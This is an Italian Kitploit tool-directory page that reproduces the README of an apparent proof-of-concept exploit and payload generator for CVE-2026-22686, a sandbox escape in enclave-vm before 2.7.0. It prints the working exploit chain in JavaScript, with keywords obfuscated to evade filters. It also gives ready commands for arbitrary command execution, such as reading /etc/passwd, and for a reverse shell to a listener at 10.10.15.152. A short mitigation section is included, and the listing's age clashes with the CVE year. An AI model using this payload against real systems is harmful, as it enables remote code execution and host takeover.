Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Proof-of-concept exploit e generatore di payload per CVE-2026-22686, un sandbox escape in enclave-vm <2.7.0 che consente l'esecuzione di codice arbitrario e reverse shell. | Kitploit
Strumenti/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Proof-of-concept exploit e generatore di payload per CVE-2026-22686, un sandbox escape in enclave-vm <2.7.0 che consente l'esecuzione di codice arbitrario e reverse shell.

Vedi Repository
2720 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-22686 — PoC di Sandbox Escape per enclave-vm

CVE CVSS enclave-vm Python License

Un exploit proof-of-concept (PoC) e generatore di payload per CVE-2026-22686, una vulnerabilità critica di sandbox escape in enclave-vm versioni precedenti alla 2.7.0, che consente l'esecuzione di codice arbitrario all'interno del runtime Node.js host.

⚠️ Disclaimer: Questo strumento è fornito esclusivamente per scopi educativi e di security testing autorizzato. L'utilizzo contro sistemi senza previo consenso scritto è illegale. L'autore non si assume alcuna responsabilità per qualsiasi uso improprio.


📖 Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Come funziona
  • Installazione
  • Utilizzo
  • Anatomia del payload
  • Mitigazione
  • Aspetti legali
  • Riferimenti
  • Autore
  • Licenza

🔍 Panoramica

enclave-vm è una libreria di sandboxing JavaScript progettata per eseguire in modo sicuro codice non attendibile all'interno di un ambiente controllato. Nelle versioni < 2.7.0, un difetto nel modo in cui gli oggetti errore lato host vengono esposti alla sandbox consente a un attaccante di risalire la catena di prototipi e raggiungere il costruttore Function dell'host, aggirando di fatto la sandbox.

Questo repository contiene:

  • Un generatore di payload che produce un payload JavaScript pronto da incollare
  • Supporto per l'esecuzione arbitraria di comandi sull'host
  • Supporto per payload reverse shell
  • Una CLI interattiva bilingue (francese / inglese)

🛡️ Dettagli della vulnerabilità

CampoValore
CVE IDCVE-2026-22686
CVSS v3.110.0 (Critico)
CWECWE-693 — Protection Mechanism Failure
Componenteenclave-vm
Affette< 2.7.0
Corretta in2.7.0
ImpattoSandbox escape → esecuzione di codice arbitrario (RCE)

Causa principale

Quando una chiamata a uno strumento in sandbox fallisce, enclave-vm espone l'oggetto Error lato host al codice in sandbox. Poiché questo oggetto errore mantiene la sua catena di prototipi originale dall'ambiente host, un attaccante può risalire la catena come segue:

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

Una volta ottenuto il costruttore Function dell'host, l'attaccante può compilare ed eseguire JavaScript arbitrario nel runtime host — aggirando completamente la sandbox.


⚙️ Come funziona

L'exploit segue questi passaggi:

  1. Attivare un errore lato host invocando uno strumento inesistente (callTool('NONEXISTENT', {})).
  2. Recuperare l'oggetto errore dalla sandbox (mantiene un riferimento alla catena di prototipi dell'host).
  3. Risalire la catena di prototipi per raggiungere Error.prototype.constructor.constructor, che è la Function dell'host.
  4. Compilare il payload dell'attaccante usando la Function dell'host ed eseguirlo.
  5. Il payload carica child_process ed esegue un comando shell arbitrario (o avvia una reverse shell).

Tutte le parole chiave sensibili (constructor, __proto__, __lookupGetter__, prototype) sono offuscate come codici ASCII per aggirare i filtri statici più semplici.


📦 Installazione

Nessuna dipendenza esterna — utilizza solo la libreria standard di Python.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Requisiti:

  • Python 3.8+

🚀 Utilizzo

Modalità interattiva

python3 generator.py

Ti verrà chiesto di:

  1. Selezionare la lingua (francese / inglese)
  2. Selezionare il tipo di payload (comando o reverse shell)
  3. Fornire il comando / IP / porta

Poi copia il payload generato e incollalo nell'input della sandbox vulnerabile.

Esecuzione di comandi

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Reverse Shell

Terminale 1 (attaccante — listener):

nc -lvnp 4444

Terminale 2 (generatore):

python3 generator.py --revshell 10.10.15.152 4444

Copia il payload risultante e incollalo nella sandbox. Dovresti ricevere una shell nel Terminale 1.

Output del payload grezzo

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

Opzioni CLI

FlagDescrizione
-c, --commandComando shell da eseguire
--revshell LHOST LPORTGenera un payload reverse shell
--rawStampa solo il payload (nessun banner, nessuna decorazione)
--lang {fr,en}Forza la lingua dell'interfaccia
-h, --helpMostra aiuto ed esempi

🔬 Anatomia del payload

1. Decoder ASCII

const s = (...args) => String.fromCharCode(...args);

Un piccolo helper per decodificare array di codici ASCII a runtime.

2. Parole chiave offuscate

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Evita filtri banali basati su stringhe.

3. Catena di exploit

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

La Function dell'host viene quindi utilizzata per eseguire il comando dell'attaccante tramite child_process.execSync().


🛡️ Mitigazione

Per gli sviluppatori:

  • Aggiornare enclave-vm a >= 2.7.0.
  • Verificare regolarmente il proprio albero delle dipendenze (npm audit, Snyk, Dependabot).
  • Non esporre mai funzionalità di esecuzione in sandbox a input non attendibili senza ulteriore validazione.
  • Eseguire il codice in sandbox in processi isolati (ad es. isolated-vm, gVisor, Firecracker).

Per utenti / organizzazioni:

  • Monitorare la presenza di librerie sandbox obsolete in produzione.
  • Limitare l'accesso di rete in uscita da qualsiasi processo che esegue codice utente.
  • Applicare il principio del privilegio minimo: eseguire i processi Node.js come non-root.

Rilevamento:

Scarica lo strumento